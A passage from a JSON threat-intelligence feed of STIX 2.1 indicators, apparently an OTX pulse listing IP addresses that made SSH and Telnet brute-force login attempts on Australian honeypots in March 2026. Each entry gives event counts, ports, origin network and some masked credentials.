      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--1b3652f0-ad9c-40d0-b67b-69175eeb269b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T03:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.1.107.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T03:15:08.000Z",
      "valid_until": "2026-04-24T03:15:05.000Z"
    },
    {
      "created": "2026-03-23T03:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 12876. Organisation(s): Scaleway SAS.",
      "id": "indicator--1dd48a74-3f52-43e1-bee8-81c8e951e78a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T03:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '151.115.91.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T03:15:08.000Z",
      "valid_until": "2026-04-24T03:15:05.000Z"
    },
    {
      "created": "2026-03-23T03:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): p****r, r**t, 3**********4, e**y, m****h. Passwords observed (masked): p******d, 1**4, !**********C, 1***5, 3***********4.",
      "id": "indicator--8d0a3159-827d-40b5-8320-c371d6d8a150",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T03:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '158.69.194.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T03:15:08.000Z",
      "valid_until": "2026-04-24T03:15:05.000Z"
    },
    {
      "created": "2026-03-23T03:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--97126885-74e5-404a-bd94-faecf9b95f1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T03:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.175.32.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T03:15:08.000Z",
      "valid_until": "2026-04-24T03:15:05.000Z"
    },
    {
      "created": "2026-03-23T03:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--96d1ba76-6dfe-4018-9802-fa91574470a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T03:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.43.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T03:15:08.000Z",
      "valid_until": "2026-04-24T03:15:05.000Z"
    },
    {
      "created": "2026-03-23T03:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 344. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 401701. Organisation(s): cognetcloud INC. Usernames observed (masked): 3**********4, ***, t****t, v*******o, z***e. Passwords observed (masked): 3***********4, 3**********4, p******d, ***, A*******!.",
      "id": "indicator--8c79254c-2bd9-4679-a67d-af51383ddbd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T03:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.207.221.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T03:15:08.000Z",
      "valid_until": "2026-04-24T03:15:05.000Z"
    },
    {
      "created": "2026-03-23T03:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 210976. Organisation(s): Timeweb, LLP. Usernames observed (masked): **, r**t, 3**********4, e**y, m****h. Passwords observed (masked): p******d, 1**4, !**********C, 1***5, 3***********4.",
      "id": "indicator--ebf5513a-6efa-4db3-8f4f-c7abb005456a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T03:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.129.236.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T03:15:08.000Z",
      "valid_until": "2026-04-24T03:15:05.000Z"
    },
    {
      "created": "2026-03-23T03:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--91a06d74-53c2-4ed8-96f9-c54cae6c63b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T03:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.219.222.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T03:15:08.000Z",
      "valid_until": "2026-04-24T03:15:05.000Z"
    },
    {
      "created": "2026-03-23T04:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--17012ab5-4836-4511-be99-29a660d5b563",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T04:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.65.148.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T04:15:15.000Z",
      "valid_until": "2026-04-24T04:15:13.000Z"
    },
    {
      "created": "2026-03-23T04:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--55a96ce6-beee-4af2-9679-a4b95c2d0183",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T04:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T04:15:15.000Z",
      "valid_until": "2026-04-24T04:15:13.000Z"
    },
    {
      "created": "2026-03-23T04:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--3a92ff93-a95b-4f13-8ce3-ca1ea0bb69d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T04:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.117.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T04:15:15.000Z",
      "valid_until": "2026-04-24T04:15:13.000Z"
    },
    {
      "created": "2026-03-23T04:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--4ddb14fc-d709-421c-8645-f11e4a014f52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T04:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.253.135.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T04:15:15.000Z",
      "valid_until": "2026-04-24T04:15:13.000Z"
    },
    {
      "created": "2026-03-23T04:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--cdc2b746-51e3-4453-bbe6-9f667db7c070",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T04:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T04:15:15.000Z",
      "valid_until": "2026-04-24T04:15:13.000Z"
    },
    {
      "created": "2026-03-23T05:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 213877. Organisation(s): U1 Digital Services Ltd. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--acff1d95-b933-4ceb-a948-ea0da643bcd0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T05:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '144.31.137.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T05:15:16.000Z",
      "valid_until": "2026-04-24T05:15:12.000Z"
    },
    {
      "created": "2026-03-23T05:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 26666. Organisation(s): Interserver, Inc. Usernames observed (masked): f******2, l**n. Passwords observed (masked): l******4, p******d.",
      "id": "indicator--4af261e0-ed23-4739-9d5f-d03046006db4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T05:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '163.245.192.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T05:15:16.000Z",
      "valid_until": "2026-04-24T05:15:12.000Z"
    },
    {
      "created": "2026-03-23T05:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--58830aeb-13a0-4264-ab8f-26a69b2c6452",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T05:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '183.212.245.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T05:15:16.000Z",
      "valid_until": "2026-04-24T05:15:12.000Z"
    },
    {
      "created": "2026-03-23T05:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--f612eec1-3fa0-4710-9769-aac7d5290bc6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T05:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.212.40.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T05:15:16.000Z",
      "valid_until": "2026-04-24T05:15:12.000Z"
    },
    {
      "created": "2026-03-23T05:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t, v***v.",
      "id": "indicator--edfb6a35-7ff4-4c8b-85b3-7806c11f6334",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T05:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.35.162.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T05:15:16.000Z",
      "valid_until": "2026-04-24T05:15:12.000Z"
    },
    {
      "created": "2026-03-23T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 138277. Organisation(s): Radinet Info Solutions Private Limited.",
      "id": "indicator--0e2e2bfb-4c2b-4aa0-9740-9a84a3797615",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.175.172.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T06:15:03.000Z",
      "valid_until": "2026-04-24T06:15:01.000Z"
    },
    {
      "created": "2026-03-23T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263915. Organisation(s): Connectronic Servicos Ltda.",
      "id": "indicator--925d0ac9-4903-4caf-91dc-e35a32a425d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.204.227.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T06:15:03.000Z",
      "valid_until": "2026-04-24T06:15:01.000Z"
    },
    {
      "created": "2026-03-23T06:15:03.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--fff4a3d9-3694-4f5a-8738-72d29230568d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.198.64.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T06:15:03.000Z",
      "valid_until": "2026-04-24T06:15:01.000Z"
    },
    {
      "created": "2026-03-23T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--6471a26e-f550-46f5-b039-2b3b4d9405ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.45.60.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T06:15:03.000Z",
      "valid_until": "2026-04-24T06:15:01.000Z"
    },
    {
      "created": "2026-03-23T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53158. Organisation(s): Net Turbo Telecom.",
      "id": "indicator--b439ae04-fad8-4b35-ad23-011af01bc650",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.209.52.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T06:15:03.000Z",
      "valid_until": "2026-04-24T06:15:01.000Z"
    },
    {
      "created": "2026-03-23T07:16:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 142552. Organisation(s): KCN.",
      "id": "indicator--6d748b6f-8a69-423d-b6e8-560cdfbccbe4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T07:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.169.65.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T07:16:08.000Z",
      "valid_until": "2026-04-24T07:15:11.000Z"
    },
    {
      "created": "2026-03-23T07:16:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 24544. Organisation(s): Overcasts Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--c99b57ce-b193-49c0-9fe3-744204985552",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T07:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.229.126.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T07:16:08.000Z",
      "valid_until": "2026-04-24T07:15:11.000Z"
    },
    {
      "created": "2026-03-23T07:16:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--1dc32eae-f9d0-4c5c-92d1-72bcdbf785b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T07:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.245.138.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T07:16:08.000Z",
      "valid_until": "2026-04-24T07:15:11.000Z"
    },
    {
      "created": "2026-03-23T07:16:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): n*******m, 3**********4, a****y, e****d, n*****w. Passwords observed (masked): p******d, 3***********4, 3**********4, S***3, a********!.",
      "id": "indicator--d5bcc06a-2325-4564-98ce-5829e91ac1f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T07:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.174.129.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T07:16:08.000Z",
      "valid_until": "2026-04-24T07:15:11.000Z"
    },
    {
      "created": "2026-03-23T07:16:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 213438. Organisation(s): ColocaTel Inc..",
      "id": "indicator--86b98e81-30ae-458c-adc6-a14b7b640543",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T07:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.142.147.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T07:16:08.000Z",
      "valid_until": "2026-04-24T07:15:11.000Z"
    },
    {
      "created": "2026-03-23T07:16:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): n*******m, 3**********4, c***o, e****d, n*****w. Passwords observed (masked): p******d, 1******8, 3***********4, 3**********4, R******!.",
      "id": "indicator--ece13c54-f99d-4dc2-b9ec-bdea73101be6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T07:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '221.147.115.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T07:16:08.000Z",
      "valid_until": "2026-04-24T07:15:11.000Z"
    },
    {
      "created": "2026-03-23T07:16:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--ef18ff4f-ec06-4e5f-bb14-d4fb6945681d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T07:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '40.124.175.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T07:16:08.000Z",
      "valid_until": "2026-04-24T07:15:11.000Z"
    },
    {
      "created": "2026-03-23T07:16:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): 1****e, 1*******y, **, ***, 4**1.",
      "id": "indicator--b081d511-b5a8-4cf8-8f60-780b7d810f01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T07:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.106.92.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T07:16:08.000Z",
      "valid_until": "2026-04-24T07:15:11.000Z"
    },
    {
      "created": "2026-03-23T07:16:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--aa4961dc-e557-462c-b5a7-f3c039167e99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T07:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.183.123.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T07:16:08.000Z",
      "valid_until": "2026-04-24T07:15:11.000Z"
    },
    {
      "created": "2026-03-23T07:16:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 6805. Organisation(s): Telefonica Germany.",
      "id": "indicator--eae8ac82-01dc-4de9-bfd9-e93133fec365",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T07:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.0.38.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T07:16:08.000Z",
      "valid_until": "2026-04-24T07:15:11.000Z"
    },
    {
      "created": "2026-03-23T08:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a61242a8-5dd9-42ee-b15b-896514b1132f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.178.8.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T08:15:15.000Z",
      "valid_until": "2026-04-24T08:15:12.000Z"
    },
    {
      "created": "2026-03-23T08:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): s***m, 3**********4, ***, b********r, m****d. Passwords observed (masked): ***, 3***********4, 3**********4, ***, N****l.",
      "id": "indicator--b28de25a-1400-4886-8568-c84f4da3b29a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '4.213.160.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T08:15:15.000Z",
      "valid_until": "2026-04-24T08:15:12.000Z"
    },
    {
      "created": "2026-03-23T08:15:15.000Z",
